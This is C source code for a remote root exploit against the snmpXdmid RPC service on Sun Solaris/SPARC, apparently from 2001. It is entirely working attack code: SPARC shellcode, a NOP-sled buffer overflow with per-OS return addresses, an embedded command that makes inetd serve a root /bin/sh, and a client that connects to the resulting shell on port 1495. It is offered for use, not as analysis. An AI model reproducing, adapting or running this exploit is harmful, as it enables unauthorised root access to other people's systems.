/*
 * snmpXdmid remote root xploit for Sun Solaris/SPARC
 * 
 * DO NOT DISTRIBUTE!!! 
 * THIS IS UNPUBLISHED CODE PROPIETARY OF US
 * 
 * By: Fermín J. Serna aka Zhodiac <zhodiac@softhome.net>
 *     Pablo Carretero aka Darkcode <cmexec@kernelpanik.org>       
 *
 * Madrid, 20/04/2001
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#include <arpa/inet.h>

#define max(x,y) (((x)>(y))?(x):(y))

#define SIZE 1300
#define NUM_ADDR 50
#define SPARC_NOP 0xac15a16e

#define SNMPXDMI_PROG 100249
#define SNMPXDMI_VERS 1
#define SNMPXDMI_FUNCT 0x101

char shellcode[] =
/*   0 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
/* skip:                                                        */
/*   4 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
/*   8 */ "\x7f\xff\xff\xff"                 /* call skip       */
/* execve:                                                      */
/*  12 */ "\x90\x03\xe0\x5c"                 /* add %o7,92,%o0  */
/*  16 */ "\x92\x22\x20\x10"                 /* sub %o0,16,%o1  */
/*  20 */ "\x94\x1b\xc0\x0f"                 /* xor %o7,%o7,%o2 */
/*  24 */ "\xec\x02\x3f\xf0"                 /* ld [%o0-16],%l6 */
/*  28 */ "\xac\x22\x80\x16"                 /* sub %o2,%l6,%l6 */
/*  32 */ "\xae\x02\x60\x10"                 /* add %o1,16,%l7  */
/*  36 */ "\xee\x22\x3f\xf0"                 /* st %l7,[%o0-16] */
/*  40 */ "\xae\x05\xe0\x08"                 /* add %l7,8,%l7   */
/*  44 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  48 */ "\xee\x22\x3f\xf4"                 /* st %l7,[%o0-12] */
/*  52 */ "\xae\x05\xe0\x03"                 /* add %l7,3,%l7   */
/*  56 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  60 */ "\xee\x22\x3f\xf8"                 /* st %l7,[%o0-8]  */
/*  64 */ "\xae\x05\xc0\x16"                 /* add %l7,%l6,%l7 */
/*  68 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  72 */ "\xc0\x22\x3f\xfc"                 /* st %g0,[%o0-4]  */
/*  76 */ "\x82\x10\x20\x3b"                 /* mov 59,%g1      */
/*  80 */ "\x91\xd0\x20\x08"                 /* ta 8            */
/* data:                                                        */
/*  84 */ "\xff\xff\xff\xa0"                 /* DATA            */
/*  88 */ "\xff\xff\xff\xff"                 /* DATA            */
/*  92 */ "\xff\xff\xff\xff"                 /* DATA            */
/*  96 */ "\xff\xff\xff\xff"                 /* DATA            */
/* 100 */ "\x2f\x62\x69\x6e"
/* 104 */ "\x2f\x73\x68\xff"                 /* DATA            */
/* 108 */ "\x2d\x63\xff"                     /* DATA            */
/* command: max length = 94                                     */
"echo cvc stream tcp nowait root /bin/sh sh -i > /tmp/x"
";/usr/sbin/inetd -s /tmp/x ";


////////////////////////////////////////////////
struct DmiString {
                u_int body_len;
                char *body_val;
};

typedef struct DmiString DmiString;

/////////////////////////////////////////////////
struct DmiNodeAddress {
        struct DmiString *address;
        struct DmiString *rpc;
        struct DmiString *transport;
};

typedef struct DmiNodeAddress DmiNodeAddress;

///////////////////////////////////////////////
struct DmiComponentInfo {
        uint32_t id;
        struct DmiString *name;
        struct DmiString *pragma;
        struct DmiString *description;
        u_char exactMatch;
};

typedef struct DmiComponentInfo DmiComponentInfo;

////////////////////////////////////////////
struct DmiComponentAddedIN {
        uint32_t handle;
        struct DmiNodeAddress *sender;
        struct DmiComponentInfo *info;
};

typedef struct DmiComponentAddedIN DmiComponentAddedIN;


struct remote {
        char *osname;
        unsigned long offset;
        unsigned long magic_number;
        char *shellcode; }

  remote[] = {
  { "SunOS 5.7 sun4m sparc sun4m", 0xef1c5658, 0x47bf0, shellcode },
  { "SunOS 5.7 sun4u sparc SUNW,Ultra-5_10", 0xfea0b618, 0x47bf0, shellcode },
  { "SunOS 5.8 sun4m sparc sun4m", 0xef1c5658, 0x47bf0, shellcode },
  { "SunOS 5.8 sun4u sparc SUNW,Ultra-5_10", 0xfea0b618, 0x47bf0, shellcode },
  { NULL, 0, 0, NULL }
  };


long resolve(char *name) {
 struct hostent *hp;
 long ip;

  if ((ip=inet_addr(name))==-1) {
     if ((hp=gethostbyname(name))==NULL) {
          fprintf (stderr,"Can't resolve host name [%s].\n",name);
          exit(-1);
      }  
  memcpy(&ip,(hp->h_addr),4);
  }
  return(ip);
}


void usage(char * progname) {
 int aux=0;
 
 printf("Usage: %s <host> [<type>]\n\n",progname);
 
 printf("Types:\n"); 
 while (remote[aux].osname!=NULL) {
  printf("%d) OS: \"%s\" Return Adress: \"%#x\"\n",
           aux,
           remote[aux].osname,
           remote[aux].offset);
   aux++;
   }
 printf("\n");
  
 }


bool_t xdr_DmiString (XDR *xdrs, DmiString *objp) {
        register int32_t *buf;

         if (!xdr_u_int (xdrs, &objp->body_len))
                 return FALSE;
         if (!xdr_vector (xdrs, (char *)objp->body_val, SIZE,sizeof (char), (xdrproc_t) xdr_char))
                 return FALSE;
        return TRUE;
}


bool_t xdr_DmiNodeAddress (XDR *xdrs, DmiNodeAddress *objp) {
        register int32_t *buf;
         
         if (!xdr_pointer (xdrs, (char **)&objp->address, sizeof (DmiString), (xdrproc_t) xdr_DmiString))
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->rpc, sizeof (DmiString), (xdrproc_t) xdr_DmiString))   
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->transport, sizeof (DmiString), (xdrproc_t) xdr_DmiString))
                 return FALSE;
        return TRUE;
}

bool_t xdr_DmiComponentInfo (XDR *xdrs, DmiComponentInfo *objp) {
        register int32_t *buf;

         if (!xdr_uint32_t (xdrs, &objp->id))
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->name, sizeof (DmiString), (xdrproc_t) xdr_DmiString))
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->pragma, sizeof (DmiString), (xdrproc_t) xdr_DmiString))
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->description, sizeof (DmiString), (xdrproc_t) xdr_DmiString))
                 return FALSE;
         if (!xdr_u_char (xdrs, &objp->exactMatch))
                 return FALSE;
        return TRUE;
}

bool_t xdr_DmiComponentAddedIN (XDR *xdrs, DmiComponentAddedIN *objp) {
        register int32_t *buf;
                 
         if (!xdr_uint32_t (xdrs, &objp->handle))  
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->sender, sizeof (DmiNodeAddress), (xdrproc_t) xdr_DmiNodeAddress))
                 return FALSE;
         if (!xdr_pointer (xdrs, (char **)&objp->info, sizeof (DmiComponentInfo), (xdrproc_t) xdr_DmiComponentInfo))
                 return FALSE;
        return TRUE;
}

int proxyloop(int s) {
                
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
                        
        strcpy(snd, "cd /; uname -a; pwd; id;\n"); 
        write(s, snd, strlen(snd));
        for (;;) {
                FD_SET(fileno(stdin), &rset);   
                FD_SET(s, &rset);
                maxfd = max(fileno(stdin), s) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if (FD_ISSET(fileno(stdin), &rset)) {
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd) - 2, stdin);
                        write(s, snd, strlen(snd));
                }
                if (FD_ISSET(s, &rset)) {
                        bzero(rcv, sizeof(rcv));
                        if ((n = read(s, rcv, sizeof(rcv))) == 0)
                                exit(0);
                        if (n < 0) {
                                return -3;
                        }
                        fputs(rcv, stdout);
                }
        }
        return 0;
}


int main(int argc, char *argv[]){

int type=0;
int aux;
char *ch_ptr;
unsigned long *lg_ptr;
struct DmiComponentAddedIN dmireq;
CLIENT *cl;
int sock;
struct sockaddr_in addr;
struct timeval timeout={5
                        ,0};

 printf("\nsnmpXdmid remote root xploit for Sun Solaris sparc\n");
 printf("By:\n");
 printf("\tFermín J. Serna aka Zhodiac <zhodiac@softhome.net>\n");
 printf("\tPablo Carretero aka DarkCode <cmexec@kernelpanik.org>\n\n");

 if (argc<2) {
             usage(argv[0]);
             exit(-1);
             } 
 
 if (argc==3) type=atoi(argv[2]);

 printf("Usign type: %d\n",type);
 printf("OS: %s\n",remote[type].osname);
 printf("Return Address: %#x\n",remote[type].offset);
 printf("Magic Number: %#x\n\n",remote[type].magic_number);

 memset(&dmireq,0,sizeof(dmireq));

 if ((dmireq.info=(DmiComponentInfo *)calloc(sizeof(DmiComponentInfo),1))==NULL) {
     perror("calloc()");
     exit(-1);
     }

 
 if ((dmireq.info->name=(DmiString *)calloc(sizeof(DmiString),1))==NULL) {
     perror("calloc()");
     exit(-1);
     }

  if ((dmireq.info->name->body_val=(char *)calloc(SIZE,1))==NULL) {
     perror("calloc()");
     exit(-1);   
     }


 dmireq.info->id=0xdeadcafe;
 dmireq.info->name->body_len=SIZE-1;

 lg_ptr=(unsigned long *)dmireq.info->name->body_val;
 for (aux=0;aux<SIZE-NUM_ADDR*4-strlen(remote[type].shellcode)-3;aux+=4) 
                                              *(lg_ptr++)=htonl(SPARC_NOP);
 ch_ptr=(char *)lg_ptr;
 strcpy(ch_ptr,remote[type].shellcode);
 ch_ptr+=strlen(remote[type].shellcode);
 lg_ptr=(unsigned long*)ch_ptr;
 for (aux=0;aux<NUM_ADDR;aux++) {
     if (aux==35) *(lg_ptr++)=htonl(remote[type].magic_number); 
          else  *(lg_ptr++)=htonl(remote[type].offset);
     }


 memset(&addr,0,sizeof(addr));
 addr.sin_family=AF_INET;
 addr.sin_addr.s_addr=resolve(argv[1]);

 sock=RPC_ANYSOCK;
 if  (!(cl=clnttcp_create(&addr,
                         SNMPXDMI_PROG,
                         SNMPXDMI_VERS,
                         &sock,0,0))) {
                             clnt_pcreateerror("error");
                             exit(-1);
                             }

 clnt_call(cl,
         SNMPXDMI_FUNCT,
         (xdrproc_t)xdr_DmiComponentAddedIN,
         (caddr_t)&dmireq,
         (xdrproc_t)xdr_void,
         (caddr_t)NULL,
         timeout);

 printf("1.- Overflow sent!!!\n");
 sleep(3);
                
 printf("2.- Connecting to the remote shell...\n");
 if ((sock=socket(AF_INET,SOCK_STREAM,0))<0) {
                perror("socket()");
                exit(-1);
                }
  
  addr.sin_port=htons(1495);  

  if (connect(sock,(struct sockaddr *)&addr,sizeof(struct sockaddr))<0) {
                perror("connect()");
                exit(1);
                }
                
  printf("3.- Connected!!!!!!! Entering loop :)~~~\n\n");
                 
  proxyloop(sock);

 return(0);
}

